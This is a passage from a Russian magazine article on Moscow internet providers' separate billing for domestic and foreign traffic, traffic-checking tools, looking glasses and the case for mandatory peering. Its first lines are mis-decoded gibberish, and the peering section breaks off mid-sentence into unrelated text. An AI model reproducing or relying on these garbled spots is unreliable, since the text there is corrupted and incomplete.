(áåç îïëàòû ðîññèéñêîãî òðàôèêà)
Òàáëèöà 7. Øèðîêîïîëîñíûé äîñòóï â Èíòåðíåò
! Отдельно хочется выделить сеть Gagarino.net (http://
www.gagarino.net), подключённую косвенно. Её нет в спис-
ках участников прямого подключения. Расценки за тра-
фик более чем интересные (http://www.gagarino.net/
index.htm?mode=rasc). Лучше предложения по Москве я
не нашёл. Абонентская плата за пользование сетью:
! Для физических лиц – 20 у.е. в месяц.
! Российский трафик – Unlimited.
! Зарубежный трафик – 0,036 у.е. за Мб.
Из общения с участниками этой сети мне удалось узнать,
что несмотря на предложенные 10 Мб стандартного под-
ключения возможно договориться и о всех 100 Мб.
Через сайт http://mosnet.ru/ я попытался найти также и
другие сети и других вторичных провайдеров с раздельной
тарификацией, но не нашёл. Отчасти это связано и с неудоб-
ной организацией сайта. Из найденных 7 провайдеров с их
сетями наиболее выгодными для конечного пользователя
мне показались предложения от ИТМЦ «МГУ» и gagarino.net.
86
Теперь об оценке, что считать трафиком российским,
а что зарубежным, и несколько других интересных ссы-
лок. У каждого провайдера в зависимости от топологии
его сетей и дополнительных соглашений под российской
частью трафика понимается своё, хотя есть много обще-
го. Только два провайдера, отмеченных мною выше, пре-
доставляют возможность проверки узлов, от которых вы
планируете получать пакеты на принадлежность их тра-
фика к России/зарубежу.
! ИМТЦ «МГУ» – http://www.direct.ru/internet/test-traffic.html
! Gagarino.net – http://www1.gagarino.net/perl/verify_ip.pl
Только ИМТЦ «МГУ» даёт пояснение на сайте, что их за-
рубежный трафик маркируется «0x60 в поле tos». Откуда
конечный пользователь может использовать утилиту sing [6]
(аналог ping, но показывает значение TOS возвращаемых
пакетов.)
Проверка трафика на двух вышеуказанных ссылках по-
чти одинакова, но несколько разнится по результатам, на-
пример, «dostavka.ru» в первом случае оказывается зару-
бежным трафиком, во втором случае – российским, что
уже говорит о неоднородности подключений между про-
вайдерами.
Очень интересным образом поступил провайдер Zenon
N.S.P. Оценивать трафик по принадлежности он предлага-
ет в зависимости от проделанного маршрута пакетами.
Если пакеты при передаче прошли через все «российские»
промежуточные сети, то они считаются российскими. Име-
ется регулярно обновляемый публикуемый список «россий-
ских» IP-сетей: http://nms1.zenon.net/nf/rus-net.txt. Так было
до поры до времени, пока «гром не грянул». После того как
произошло вышеописанное событие, провайдер Zenon
N.S.P. отнёсся к своим клиентам как ни один другой про-
вайдер, сделав беспрецедентный шаг, а именно введя из-
менения в системе учёта российского трафика: http://
www.zenon.net/txt/news/common/0577.html, по которым не
важно, по каким промежуточным сетям гуляет трафик, глав-
ное, чтобы начальная и конечная точка оказались российс-
кими. Таким образом, пользователей Zenon N.S.P. вообще
никак не коснулась ситуация с переделом рынка. Конечно,
Zenon N.S.P. несёт дополнительные расходы, но обслужи-
ваемые ими клиенты ценятся ими выше, что, несомненно,
делает лицо фирме. Что же касается моих личных впечат-
лений от общения с их сотрудниками – у фирмы действи-
тельно хороший персонал и неплохой имидж.
Интересная ссылка была найдена на сайте ООО «Гарант-
Парк-Телеком» Списки сетей Россия/Россия-2: http://
www.parkline.ru/bgp_comm.html, что может говорит о гипоте-
тической возможности раздельной тарификации.
Также была найдена интересная схема взаимосвязей
одного из провайдеров с другими (http://www.east.ru/technol/
m9ix.html) и несколько Looking Glasses:
! http://www.informtelecom.ru/cgi-bin/trace.pl
! http://noc.runnet.ru/lookingglass/index.htm
! Неплохой список – http://noc.runnet.ru/public/lg-list.html
Заходя на них, можно проследить самостоятельно связ-
ность между теми или иными провайдерами, например, мож-
но взять несколько адресов, удобнее всего адреса DNS-сер-

веров из разных групп провайдеров, и проследить маршру-
ты и число ретрансляций:
! 195.34.32.10 – DNS МТУ-Интел,
! 81.195.6.169 – один из адресов МТУ-Интел
! 212.44.130.6 – DNS Совинтел (Голден-Телеком)
! 212.16.0.1 – DNS ИМТЦ «МГУ»
! 195.2.64.36 – DNS Zenon N.S.P.
! 194.87.0.8 – DNS Demos
Попробуйте ради эксперимента самостоятельно прове-
рить различные маршруты. Результаты трассировок долж-
ны лишь подтвердить вышеописанное разделение провай-
деров на две группы.
Будущее за пирингом?
Скорее всего да. Пиринг в целом явление полезное. Пожа-
луй, вряд ли найдётся у нас в стране хотя бы один интернет-
пользователь, который не вздыхал бы с грустью, читая про
счастливых американцев, которым скоростной выделенный
канал, поданный на дом, обходится в $30 – $50 ежемесячно-
го платежа независимо от объёмов потребления. Такая щед-
рость по отношению к клиенту, помимо иных причин, оказа-
лась возможной благодаря тому, что в Штатах практически
весь потребляемый трафик – местный. Его передача по
сверхскоростным каналам, соединяющим американские IX,
обходится настолько дёшево, что деньги взымаются не за
скачанные мегабайты, а за предоставленный сервис. По мере
образование
кий провайдер, как Комкор, то, может, всё же есть за пирин-
гом будущее?
Выводы
А выводы можно сделать не самые утешительные. Мы теря-
ем деньги, переводя их за рубеж, тормозим свой экономи-
ческий рост. Видимо, наше общество ещё не до конца со-
зрело до понимания необходимости введения обязательно-
го пиринга в столице, а потом и по всей нашей необъятной
Родине. Это не то, на чём следует делать деньги, ограничивая
трафик. К сожалению, многие не только не понимают, что пи-
ринг способствует развитию сетей, экономическому росту и
росту благосостояния граждан в целом, но и вообще не зна-
ют, что это такое. Надеюсь, что после этой статьи людей, име-
ющих хотя бы отдалённое представление, станет больше.
Замечание по поводу пиринга из жизни. (Спасибо А. Гла-
дилину.) Следует отметить, что многие проблемы по расчё-
там между провайдерами с раздельной тарификацией и
абонентами берутся из-за неполного понимания абонента-
ми того, что может происходить с маршрутизацией. Пробле-
ма здесь не в том, что абоненты не понимают, что какие-то
сайты домена .ru расположены за рубежом и их трафик не
является российским (это большинство понимает хорошо),
а в том, что Интернет – это динамическая структура по сво-
ей природе. Это чаще всего теряется из виду даже у опыт-
ных пользователей. Следует понимать, что в сети с динами-
ческой маршрутизацией, если падает какой-то канал или